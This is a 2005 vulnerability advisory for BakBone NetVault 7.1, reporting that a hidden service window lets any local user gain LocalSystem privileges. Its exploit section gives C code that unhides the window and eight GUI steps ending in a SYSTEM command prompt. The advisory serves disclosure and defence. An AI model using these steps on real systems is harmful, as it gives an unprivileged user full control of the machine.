04.27.05

Summary:
Privilege escalation in BakBone NetVault 7.1 (http://www.bakbone.com/)

Details:
The nvstatsmngr.exe process, which is a hidden command prompt window that is permitted to interact with the Desktop, can be manipulated by any local user to escalate privileges to that of the LocalSystem account.

Vulnerable Versions:
Privilege escalation in BakBone NetVault 7.1

Patches/Workarounds:
The vendor was notified of the issue. They are working on a patch that will be released shortly. The patch will be made available via http://www.bakbone.com/.

Exploits:
Compile and run the following code to unhide the C:\Program Files\BakBone Software\NetVault\bin\nvstatsmngr.exe window:

// ===== Start UnhideNetVaultServiceWindow.c ======
#include <windows.h>
#include <stdio.h>

INT main( VOID )
{
        HWND hWnd;
        CHAR szWindowName[] = "C:\\Program Files\\BakBone
Software\\NetVault\\bin\\nvstatsmngr.exe";

        printf( "Finding window %s\n", szWindowName );

        hWnd = FindWindow( NULL, szWindowName );

        if ( hWnd == NULL )
        {
                printf( "ERROR! Could not find window %s\n", szWindowName );
        
                exit( 1 );
        }

        ShowWindow( hWnd, SW_SHOW );

        return 0;
}
// ===== End UnhideNetVaultServiceWindow.c ======

1. The C:\Program Files\BakBone Software\NetVault\bin\nvstatsmngr.exe window will
   appear. Access the window menu in the upper left and click Properties.

2. Right click on the word Window under the Display Options and click What's This?

3. Right click on the help text that is shown in yellow and click Print Topic.

4. Right click on any printer and click Open.

5. Click Help, Help Topics.

6. Right click in the right side of the help screen and click View Source.

7. Notepad will appear (running under the context of the LocalSystem account).
   Click File, click Open.

8. Change Files of type: to All Files, navigate to the system32 directory and
   locate cmd.exe.  Right click cmd.exe and choose Open.

The result is a command prompt running under the context of the LocalSystem
account.

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)